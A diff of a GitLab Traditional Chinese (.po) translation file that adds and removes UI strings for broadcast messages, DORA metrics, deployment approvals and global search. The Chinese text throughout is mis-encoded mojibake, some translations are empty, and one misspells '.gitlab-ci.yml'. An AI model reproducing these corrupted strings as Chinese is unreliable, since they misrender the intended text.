msgstr "匯出完æˆå¾Œï¼Œå¾žé€šçŸ¥é›»å­éƒµä»¶æˆ–æ­¤é é¢ä¸‹è¼‰æ•¸æ“šæ–‡ä»¶ã€‚然後,您å¯ä»¥å¾žå¦ä¸€å€‹ GitLab 實例的 %{strong_text_start}建立新群組%{strong_text_end} é é¢åŒ¯å…¥æ•¸æ“šæ–‡ä»¶ã€‚"
@@ -4102,9 +4144,6 @@ msgstr "為å²è©© (epic) 添加格å¼åŒ–標題時發生錯誤"
msgid "An error occurred while approving, please try again."
msgstr "核准時發生錯誤,請é‡è©¦ã€‚"
-msgid "An error occurred while authorizing your role"
-msgstr "授權您的角色時發生錯誤"
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr "檢查群組路徑時發生錯誤,請é‡æ–°æ•´ç†ä¸¦å†è©¦ä¸€æ¬¡ã€‚"
@@ -4273,15 +4312,6 @@ msgstr "載入åˆä½µè«‹æ±‚時發生錯誤。"
msgid "An error occurred while loading projects."
msgstr "載入專案時發生錯誤。"
-msgid "An error occurred while loading the Jobs tab."
-msgstr "加載作業é¸é …é æ™‚發生錯誤。"
-
-msgid "An error occurred while loading the Needs tab."
-msgstr "加載“需求â€é¸é …é æ™‚發生錯誤。"
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr "加載“測試報告â€é¸é …é æ™‚發生錯誤。"
-
msgid "An error occurred while loading the blob controls."
msgstr "加載 blob 控制軟體套件時發生錯誤。"
@@ -4315,9 +4345,6 @@ msgstr "載入åˆä½µè«‹æ±‚時發生錯誤。"
msgid "An error occurred while loading the notification settings. Please try again."
msgstr "加載通知設定時發生錯誤,請å†è©¦ä¸€æ¬¡ã€‚"
-msgid "An error occurred while loading the pipeline."
-msgstr "載入æµæ°´ç·šæ™‚發生錯誤。"
-
msgid "An error occurred while loading the pipelines jobs."
msgstr "載入æµæ°´ç·šä½œæ¥­æ™‚發生錯誤。"
@@ -4568,6 +4595,18 @@ msgstr "添加 %{shrug} 到留言"
msgid "Append the comment with %{tableflip}"
msgstr "添加 %{tableflip} 到留言"
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr "Apple App Store Connect 發行者 ID。"
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr "Apple App Store Connect 金鑰 ID。"
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr "Apple App Store Connect ç§é‘°ã€‚"
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr "使用 GitLab 以在 Apple App Store 中建構與釋出應用程å¼ã€‚"
+
msgid "Application"
msgstr "應用程å¼"
@@ -4708,9 +4747,6 @@ msgstr "è«‹åƒé–±%{linkStart}密碼政策指å—%{linkEnd}。"
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr "在註冊期間寄é€é›»å­éƒµä»¶ç¢ºèªä¿¡ï¼Œæ–°ä½¿ç”¨è€…必須先確èªä»–們的電å­éƒµä»¶åœ°å€ï¼Œç„¶å¾Œæ‰èƒ½ç™»å…¥ã€‚"
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr "註冊時發é€ç¢ºèªé›»å­éƒµä»¶"
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr "已啟用註冊"
@@ -4799,6 +4835,9 @@ msgstr "正在套用建議..."
msgid "Applying suggestions..."
msgstr "正在套用建議..."
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr "核准è¦å‰‡"
@@ -4935,6 +4974,9 @@ msgstr "增加æ交時:"
msgid "Approvals are optional."
msgstr "核准是å¯é¸çš„。"
+msgid "Approvals required"
+msgstr "需è¦æ ¸å‡†"
+
msgid "Approvals|Section: %section"
msgstr "部份: %section"
@@ -5482,6 +5524,9 @@ msgstr "å–消編輯"
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr "自訂 HTTP 標頭(é¸å¡«ï¼‰"
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr "定義è¦æˆªå–哪些串æµäº‹ä»¶"
+
msgid "AuditStreams|Delete %{link}"
msgstr "刪除 %{link}"
@@ -5497,12 +5542,18 @@ msgstr "目的地接收所有審計事件數據"
msgid "AuditStreams|Edit %{link}"
msgstr "編輯 %{link}"
+msgid "AuditStreams|Event filtering (optional)"
+msgstr "事件éŽæ¿¾ (å¯é¸)"
+
msgid "AuditStreams|Header"
msgstr "標題"
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr "å·²é”到最大 %{number} 個 HTTP 標題。"
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr "沒有å¯ç”¨çš„éŽæ¿¾å™¨ï¼Œ%{linkStart}如何增加éŽæ¿¾å™¨ï¼Ÿ%{linkEnd}"
+
msgid "AuditStreams|Remove custom header"
msgstr "移除自訂標頭"
@@ -7070,9 +7121,93 @@ msgstr "廣播訊æ¯å·²æˆåŠŸæ›´æ–°ã€‚"
msgid "Broadcast Messages"
msgstr "廣播訊æ¯"
+msgid "BroadcastMessages|Add broadcast message"
+msgstr "增加廣播訊æ¯"
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr "å…許使用者忽略廣播訊æ¯"
+
+msgid "BroadcastMessages|Banner"
+msgstr "æ©«å¹…"
+
+msgid "BroadcastMessages|Blue"
+msgstr "è—色"
+
+msgid "BroadcastMessages|Dark"
+msgstr "暗色"
+
+msgid "BroadcastMessages|Dismissable"
+msgstr "å¯é—œé–‰"
+
+msgid "BroadcastMessages|Ends at"
+msgstr "çµæŸæ–¼"
+
+msgid "BroadcastMessages|Green"
+msgstr "綠色"
+
+msgid "BroadcastMessages|Indigo"
+msgstr "é›è—"
+
+msgid "BroadcastMessages|Light"
+msgstr "淺色"
+
+msgid "BroadcastMessages|Light Blue"
+msgstr "æ·ºè—"
+
+msgid "BroadcastMessages|Light Green"
+msgstr "淺綠"
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr "æ·ºé›è—"
+
+msgid "BroadcastMessages|Light Red"
+msgstr "淺紅"
+
+msgid "BroadcastMessages|Message"
+msgstr "訊æ¯"
+
+msgid "BroadcastMessages|Notification"
+msgstr "通知"
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr "路徑å¯ä»¥åŒ…å«è¬ç”¨å­—元,如 */welcome"
+
+msgid "BroadcastMessages|Red"
+msgstr "紅色"
+
+msgid "BroadcastMessages|Starts at"
+msgstr "開始於"
+
+msgid "BroadcastMessages|Target Path"
+msgstr "目標路徑"
+
+msgid "BroadcastMessages|Target roles"
+msgstr "目標角色"
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr "廣播訊æ¯åƒ…顯示在專案和群組中具有這些角色的使用者。"
+
+msgid "BroadcastMessages|Theme"
+msgstr "主題"
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr "增加廣播訊æ¯æ™‚發生錯誤。"
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr "更新廣播訊æ¯æ™‚發生錯誤。"
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr "刪除該訊æ¯æ™‚出ç¾å•é¡Œï¼Œç¨å¾Œè«‹é‡è©¦ã€‚"
+msgid "BroadcastMessages|Type"
+msgstr "é¡žåž‹"
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr "更新廣播訊æ¯"
+
+msgid "BroadcastMessages|Your message here"
+msgstr "將您的訊æ¯å¯«åœ¨æ­¤è™•"
+
msgid "Browse Directory"
msgstr "ç€è¦½ç›®éŒ„"
@@ -7668,6 +7803,9 @@ msgstr "ä¸èƒ½å‡ç´šå•é¡Œï¼Œå› ç‚ºå®ƒä¸å±¬æ–¼ä¸€å€‹ç¾¤çµ„。"
msgid "Cannot promote issue due to insufficient permissions."
msgstr "由於權é™ä¸è¶³ï¼Œç„¡æ³•å‡ç´šè­°é¡Œã€‚"
+msgid "Cannot push to source branch"
+msgstr "無法推é€åˆ°ä¾†æºåˆ†æ”¯"
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr "無法通éŽå…§éƒ¨ ID 引用群組里程碑ï¼"
@@ -7779,14 +7917,11 @@ msgstr "變更您的密碼"
msgid "Change your password or recover your current one"
msgstr "變更您的密碼或復原目å‰å¯†ç¢¼"
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr "審閱者已從%{old}更改為%{new}"
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
-msgstr "審閱者已更改為%{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
+msgstr ""
-msgid "ChangeReviewer|Unassigned"
-msgstr "未指派"
+msgid "ChangeReviewer|All reviewers were removed."
+msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
msgstr "æ€é¸ (Cherry-pick)"
@@ -8066,6 +8201,9 @@ msgstr "繼續付款"
msgid "Checkout|Country"
msgstr "國家"
+msgid "Checkout|Coupon code (optional)"
+msgstr "優惠券代碼(é¸æ“‡æ€§ï¼‰"
+
msgid "Checkout|Create a new group"
msgstr "建立新群組"
@@ -8225,12 +8363,6 @@ msgstr "å­ç´š"
msgid "Child epic"
msgstr "å­å²è©© (epic) "
-msgid "Child epic does not exist."
-msgstr "å­å²è©© (epic) ä¸å­˜åœ¨ã€‚"
-
-msgid "Child epic doesn't exist."
-msgstr "å­å²è©© (epic) ä¸å­˜åœ¨ã€‚"
-
msgid "Child issues and epics"
msgstr "å­è­°é¡Œèˆ‡å²è©© (epic) "
@@ -8414,6 +8546,9 @@ msgstr "狀態"
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr "該 %{entity} 具有 %{currentVariableCount} 已定義的 CI/CD 變數,æ¯å€‹ %{entity} 的最大變數數é‡ç‚º %{maxVariableLimit},è¦å¢žåŠ æ–°çš„變數,您必須先減少已定義變數的數é‡ã€‚"
+msgid "CiVariables|Trigger this manual action"
+msgstr "觸發此手動æ“作"
+
msgid "CiVariables|Type"
msgstr "é¡žåž‹"
@@ -8538,6 +8673,9 @@ msgstr "點擊下方連çµä»¥é©—證您的信箱 %{email}"
msgid "Click the link below to confirm your email address."
msgstr "點擊下方連çµä»¥é©—證您的信箱。"
+msgid "Click to expand"
+msgstr "點擊以展開"
+
msgid "Click to expand it."
msgstr "點擊以展開。"
@@ -8640,12 +8778,18 @@ msgstr "已關閉的議題"
msgid "Closed this %{quick_action_target}."
msgstr "已關閉此%{quick_action_target}."
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr "關閉了此議題。標記為與 %{duplicate_param} 相關並é‡è¤‡ã€‚"
+
msgid "Closed: %{closed}"
msgstr "已關閉: %{closed}"
msgid "Closes this %{quick_action_target}."
msgstr "關閉此%{quick_action_target}."
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr "關閉此議題。標記為與 %{duplicate_reference} 相關並é‡è¤‡ã€‚"
+
msgid "Cloud Run"
msgstr "雲端執行"
@@ -9310,21 +9454,6 @@ msgstr "å¢é›†æ•´åˆ|需è¦ç’°å¢ƒç¯„åœã€‚"
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr "æ¯å€‹æ–°çš„ Google é›²å¹³å° (GCP) å¸³è™Ÿä½¿ç”¨æ­¤é€£çµ %{sign_up_link} å¯ä»¥æ”¶åˆ°åƒ¹å€¼300美元的å…è²»é¡åº¦ã€‚é€éŽèˆ‡Google çš„åˆä½œï¼ŒGitLabå¯ä»¥ç‚ºæ–°è¨»å†Šçš„å’Œç¾æœ‰çš„ GCP 帳號æä¾›é¡å¤– 200 美元的é¡åº¦ï¼Œä»¥æ–¹ä¾¿å¯¦ç¾ GitLab å’Œ Google Kubernetes引擎的整åˆã€‚"
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr "無法é…ç½®EKSæ供程å¼ï¼š%{message}"
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr "é…ç½®GoogleKubernetes引擎(GKE)å¢é›†å¤±æ•—: %{message}"
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr "抓å–CloudFormation stack失敗:%{message}"
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr "請求Google雲平å°å¤±æ•—: %{message}"
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr "執行 Kubeclient 失敗: %{message}"
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "GitLabæ•´åˆ"
@@ -9812,6 +9941,9 @@ msgstr "無相關åˆä½µè«‹æ±‚"
msgid "Committed by"
msgstr "æ交者:"
+msgid "CommonJS module"
+msgstr "CommonJS 模組"
+
msgid "Community forum"
msgstr "社å€è«–壇"
@@ -10700,6 +10832,9 @@ msgstr "繼續編輯"
msgid "Continue to the next step"
msgstr "繼續下一步"
+msgid "Continue with overages"
+msgstr "繼續超é¡"
+
msgid "Continuous Integration and Deployment"
msgstr "æŒçºŒæ•´åˆå’Œéƒ¨ç½²"
@@ -11093,6 +11228,9 @@ msgstr "無法找到事件審核類型: %{missing_filters} éŽæ¿¾å™¨"
msgid "Country"
msgstr "國家"
+msgid "Counts"
+msgstr "數目"
+
msgid "Counts reflect children you may not have access to."
msgstr "數值å映了您å¯èƒ½ç„¡æ¬Šå­˜å–çš„å­å…ƒç´ ã€‚"
@@ -11988,6 +12126,9 @@ msgstr "ä¸é©ç”¨æ–¼çµ¦å®šçš„開始事件"
msgid "CycleAnalytics|project dropdown filter"
msgstr "項目下拉é¸å–®éŽæ¿¾å™¨"
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr "ä¸æ”¯æ´è¢«æŒ‡æ´¾çš„物件"
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr "DAGå¯è¦–化至少需è¦3個相關作業。"
@@ -12012,6 +12153,9 @@ msgstr "%{startDate} - %{endDate}"
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr "å¹³å‡ï¼ˆæœ€è¿‘%{days}天)"
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr "æ¯å¤©éƒ¨ç½²åˆ°æ­£å¼ç’°å¢ƒçš„å¹³å‡æ•¸é‡ã€‚該指標衡é‡å‘終端使用者交付產å“的頻率。"
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr "變更失敗率"
@@ -12024,8 +12168,11 @@ msgstr "變更失敗率(%%)"
msgid "DORA4Metrics|Cycle time"
msgstr "週期時間"
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
-msgstr "%{groupName} 群組的 DORA 指標"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr "%{name} 群組的 DORA 指標"
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
+msgstr "%{name} 專案的 DORA 指標"
msgid "DORA4Metrics|Date"
msgstr "日期"
@@ -12045,6 +12192,12 @@ msgstr "部署頻率"
msgid "DORA4Metrics|Deploys"
msgstr "部署"
+msgid "DORA4Metrics|Failed to load charts"
+msgstr "載入圖表失敗"
+
+msgid "DORA4Metrics|Go to docs"
+msgstr "到文件"
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr "變更的å‰ç½®æ™‚é–“"
@@ -12066,6 +12219,12 @@ msgstr "中ä½æ•¸æ™‚é–“ (最近 %{days} 天)"
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr "在給定時間內,於正å¼ç’°å¢ƒä¸­æ‰€é–‹å•Ÿçš„事故中ä½æ•¸æ™‚間。"
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr "從議題建立到關閉的時間中ä½æ•¸ã€‚"
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr "從最早æ交與議題關è¯çš„åˆä½µè«‹æ±‚到該議題çµæŸçš„時間中ä½æ•¸ã€‚"
+
msgid "DORA4Metrics|Month to date"
msgstr "本月至今"
@@ -12084,6 +12243,15 @@ msgstr "部署數é‡"
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr "在給定時間段內,事故數除以生產環境的部署數。"
+msgid "DORA4Metrics|Number of new issues created."
+msgstr "建立的新議題數é‡ã€‚"
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr "éŽåŽ»å…­å€‹æœˆ"
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr "在正å¼ç’°å¢ƒä¸­å°Žè‡´éƒ¨ç½²äº‹æ•…的百分比。"
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr "部署失敗的百分比"
@@ -12105,6 +12273,12 @@ msgstr "該圖表根據 %{linkStart}deployment_tier%{linkEnd} 值顯示部署到
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr "該圖表根據 %{linkStart}deployment_tier%{linkEnd} 值顯示åˆä½µè«‹æ±‚與部署到生產環境之間的中間時間。"
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr "組織從正å¼ç’°å¢ƒæ•…障中æ¢å¾©æ‰€éœ€çš„時間。"
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr "æˆåŠŸäº¤ä»˜æ交至正å¼ç’°å¢ƒçš„時間,該指標å映了 CI/CD æµæ°´ç·šçš„效率。"
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr "æœå‹™æ¢å¾©æ™‚é–“"
@@ -12114,6 +12288,9 @@ msgstr "æœå‹™æ¢å¾©æ™‚é–“"
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr "æœå‹™æ¢å¾©æ™‚間(中ä½å¤©æ•¸ï¼‰"
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr "部署到正å¼ç’°å¢ƒçš„總數。"
+
msgid "DSN"
msgstr "DSN"
@@ -12129,9 +12306,6 @@ msgstr "全部"
msgid "DashboardProjects|Personal"
msgstr "個人"
-msgid "DashboardProjects|Trending"
-msgstr "熱門"
-
msgid "Dashboards"
msgstr "儀表æ¿"
@@ -13048,11 +13222,9 @@ msgstr "刪除ä¿è­·æŽªæ–½"
msgid "DeletionSettings|Keep deleted"
msgstr "ä¿æŒå·²åˆªé™¤"
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr "ä¿ç•™å·²åˆªé™¤çš„專案 %{number} 天"
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr "ä¿ç•™å·²åˆªé™¤çš„專案1天"
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] "ä¿ç•™å·²åˆªé™¤çš„專案 %{number} 天"
msgid "DeletionSettings|None, delete immediately"
msgstr "無,立å³åˆªé™¤"
@@ -13114,6 +13286,9 @@ msgstr "元件å稱"
msgid "Dependencies|Dependency path"
msgstr "ä¾è³´è·¯å¾‘"
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr "滙出ä¾è³´é …列表時發生錯誤,請é‡æ–°è¼‰å…¥é é¢ã€‚"
+
msgid "Dependencies|Export as JSON"
msgstr "匯出為JSON"
@@ -13492,9 +13667,15 @@ msgstr "專案部署目標(å¯é¸ï¼‰"
msgid "Deployment Target|Select the deployment target"
msgstr "é¸å–部署目標"
+msgid "Deployment approvals is not configured for this environment."
+msgstr "此環境並未設定部署批准。"
+
msgid "Deployment frequency"
msgstr "部署頻率"
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr "核准"
@@ -13510,6 +13691,12 @@ msgstr "開發人員 + 維é‹äººå“¡"
msgid "DeploymentApprovals|Maintainers"
msgstr "維é‹äººå“¡"
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr "ç›®å‰æ ¸å‡†ï¼š%{current}"
@@ -13592,6 +13779,12 @@ msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] "%{deployments} 環境å—到影響。"
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr "在%{code_open}.githab-ci.yml%{code_close}的部署階段中定義環境來追蹤部署。"
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr "您ç¾åœ¨æ²’有任何部署。"
+
msgid "Deployment|API"
msgstr "API"
@@ -13860,8 +14053,8 @@ msgstr "DevOps 報告"
msgid "DevOps adoption"
msgstr "DevOps adoption"
-msgid "DevOps metrics comparison (Alpha)"
-msgstr "DevOps 指標比較 (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
+msgstr "DevOps 指標比較(測試版)"
msgid "Developer"
msgstr "開發者"
@@ -14085,6 +14278,9 @@ msgstr "差界說明"
msgid "Difference between start date and now"
msgstr "開始日期和ç¾åœ¨ä¹‹é–“的差異"
+msgid "Different user's signature"
+msgstr "ä¸åŒä½¿ç”¨è€…的簽章"
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr "(HEAD)"
@@ -14572,6 +14768,9 @@ msgstr "動態應用程å¼å®‰å…¨æ€§æ¸¬è©¦(DAST)"
msgid "E-mail:"
msgstr "é›»å­éƒµä»¶ï¼š"
+msgid "ESM module"
+msgstr "ESM 模組"
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr "æ¯å€‹å°ˆæ¡ˆé‚„å¯ä»¥æœ‰ä¸€å€‹è­°é¡Œè¿½è¹¤å™¨å’Œä¸€å€‹ wiki。"
@@ -15769,11 +15968,8 @@ msgstr "錯誤:%{error}"
msgid "Error: Couldn't load some or all of the changes."
msgstr "錯誤:無法載入部分或全部變更。"
-msgid "Error: No AWS credentials were supplied"
-msgstr "錯誤:未æä¾› AWS 憑證"
-
-msgid "Error: No AWS provision role found for user"
-msgstr "錯誤:未找到使用者的 AWS é ç½®è§’色"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
+msgstr "錯誤:Gitaly ä¸å¯ç”¨ã€‚è«‹è¯çµ¡æ‚¨çš„管ç†å“¡ã€‚"
msgid "Error: Unable to create deploy freeze"
msgstr "錯誤:無法建立å‡çµéƒ¨ç½²"
@@ -15781,9 +15977,6 @@ msgstr "錯誤:無法建立å‡çµéƒ¨ç½²"
msgid "Error: Unable to delete deploy freeze"
msgstr "錯誤:無法刪除å‡çµéƒ¨ç½²"
-msgid "Error: Unable to find AWS role for current user"
-msgstr "錯誤:無法找到目å‰ä½¿ç”¨è€…çš„ AWS 角色"
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr "å­˜å–權æ–為 %{token_in_code_tag}"
@@ -16280,9 +16473,6 @@ msgstr "到期"
msgid "Expires %{preposition} %{expires_at}"
msgstr "éŽæœŸ %{preposition} %{expires_at}"
-msgid "Expires on"
-msgstr "有效期至"
-
msgid "Expires:"
msgstr "到期:"
@@ -16316,9 +16506,6 @@ msgstr "ç€è¦½å…¬é–‹å°ˆæ¡ˆ"
msgid "Explore snippets"
msgstr "ç€è¦½ç¨‹å¼ç¢¼ç‰‡æ®µ"
-msgid "Explore topics"
-msgstr "ç€è¦½ä¸»é¡Œ"
-
msgid "Export"
msgstr "匯出"
@@ -16636,9 +16823,6 @@ msgstr "無法移動此議題,因為åªèƒ½æ供一個標記。"
msgid "Failed to move this issue because target project doesn't exist."
msgstr "無法移動此議題,因為目標專案ä¸å­˜åœ¨ã€‚"
-msgid "Failed to promote issue to incident"
-msgstr "æå‡è­°é¡Œåˆ°äº‹ä»¶å¤±æ•—"
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr "由於內部錯誤而無法å‡ç´šæ¨™è¨˜ã€‚è«‹è¯çµ¡ç®¡ç†å“¡ã€‚"
@@ -17063,9 +17247,6 @@ msgstr "éŽæ¿¾æ¢ä»¶ï¼š"
msgid "Filter by %{page_context_word} that are currently open."
msgstr "éŽæ¿¾ç•¶å‰é–‹æ”¾çš„ %{page_context_word}"
-msgid "Filter by Git revision"
-msgstr "ä¾Git版本éŽæ¿¾"
-
msgid "Filter by issues that are currently closed."
msgstr "ä¾ç•¶å‰é—œé–‰çš„è­°é¡ŒéŽæ¿¾ã€‚"
@@ -17384,18 +17565,15 @@ msgstr "%{behind} %{commit_word} è½å¾Œ"
msgid "ForksDivergence|%{messages} upstream repository"
msgstr "%{messages} 上游版本庫"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
+msgstr "分支已與上游版本庫分離"
+
msgid "ForksDivergence|Up to date with upstream repository"
msgstr "與上游版本庫ä¿æŒåŒæ­¥"
msgid "Format: %{dateFormat}"
msgstr "æ ¼å¼ï¼š%{dateFormat}"
-msgid "Found errors in your %{gitlab_ci_yml}:"
-msgstr "在您的 %{gitlab_ci_yml} 中找到錯誤:"
-
-msgid "Found errors in your .gitlab-ci.yml:"
-msgstr "在.gitlab-ci.yml中發ç¾éŒ¯èª¤ï¼š"
-
msgid "Framework successfully deleted"
msgstr "框架刪除æˆåŠŸ"
@@ -17490,6 +17668,9 @@ msgstr "GPG金鑰ID:"
msgid "GPG Keys"
msgstr "GPG 金鑰"
+msgid "GPG key mismatch"
+msgstr "GPG 金鑰ä¸ç›¸ç¬¦"
+
msgid "GPG keys allow you to verify signed commits."
msgstr "GPG金鑰å…許您å°ç°½åçš„æ交進行驗證。"
@@ -18146,9 +18327,6 @@ msgstr "開始使用發布"
msgid "Git"
msgstr "Git"
-msgid "Git GC period"
-msgstr "Git GC 週期"
-
msgid "Git LFS Rate Limits"
msgstr "Git LFS 速率é™åˆ¶"
@@ -18561,6 +18739,9 @@ msgstr "此範åœçš„全域æœå°‹å·²ç¦ç”¨"
msgid "Global Shortcuts"
msgstr "全域快æ·éµ"
+msgid "Global notification email"
+msgstr "全域通知郵件"
+
msgid "Global notification level"
msgstr "全域通知級別"
@@ -18573,6 +18754,12 @@ msgstr "%{search} %{description} %{scope}"
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr "æä¾› %{count} 個é è¨­çµæžœï¼Œä½¿ç”¨ä¸Šä¸‹ç®­é ­éµå°Žèˆªæœå°‹çµæžœåˆ—表。"
+msgid "GlobalSearch|Close"
+msgstr "關閉"
+
+msgid "GlobalSearch|Group"
+msgstr "群組"
+
msgid "GlobalSearch|Groups"
msgstr "群組"
@@ -18597,6 +18784,9 @@ msgstr "已分派給我的åˆä½µè«‹æ±‚"
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr "我作為審核者的åˆä½µè«‹æ±‚"
+msgid "GlobalSearch|Project"
+msgstr "專案"
+
msgid "GlobalSearch|Projects"
msgstr "專案"
@@ -18615,6 +18805,9 @@ msgstr "çµæžœæ•¸ç›®è¶…éŽé™åˆ¶"
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr "çµæžœå·²æ›´æ–°ï¼Œ %{count} 個çµæžœå¯ç”¨ï¼Œä½¿ç”¨ä¸Šä¸‹ç®­é ­éµç€è¦½æœå°‹çµæžœåˆ—表,或使用 ENTER éµæ交。"
+msgid "GlobalSearch|Search"
+msgstr "æœå°‹"
+
msgid "GlobalSearch|Search GitLab"
msgstr "æœå°‹ GitLab"
@@ -18627,9 +18820,15 @@ msgstr "æœå°‹çµæžœæ­£åœ¨è¼‰å…¥ä¸­"
msgid "GlobalSearch|Settings"
msgstr "設定"
+msgid "GlobalSearch|Syntax options"
+msgstr "語法é¸é …"
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr "å–å¾—æœå°‹è‡ªå‹•å®Œæˆå»ºè­°æ™‚發生錯誤。"
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr "æ“·å–「語法é¸é …ã€æ–‡ä»¶æ™‚發生錯誤。"
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr "輸入並按回車éµæ交æœå°‹ã€‚"
@@ -18954,6 +19153,12 @@ msgstr "群組%{group_name}已安排刪除。"
msgid "Group %{group_name} was successfully created."
msgstr "群組 %{group_name} å·²æˆåŠŸå»ºç«‹ã€‚"
+msgid "Group '%{group_name}' could not be updated."
+msgstr "無法更新「%{group_name}ã€ç¾¤çµ„"
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr "å·²æˆåŠŸæ›´æ–°ã€Œ%{group_name}ã€ç¾¤çµ„。"
+
msgid "Group Access Tokens"
msgstr "群組存å–令牌(權æ–)"
@@ -19116,8 +19321,8 @@ msgstr "åˆä½µè«‹æ±‚已建立"
msgid "GroupActivityMetrics|Recent activity"
msgstr "最近活動"
-msgid "GroupImport|Failed to import group."
-msgstr "匯入群組失敗"
+msgid "GroupImport|Failed to import group: %{error}"
+msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
msgstr "正在匯入群組'%{group_name}'。"
@@ -19599,9 +19804,15 @@ msgstr "群組是管ç†å°ˆæ¡ˆå’Œæˆå“¡çš„最好方å¼ã€‚"
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
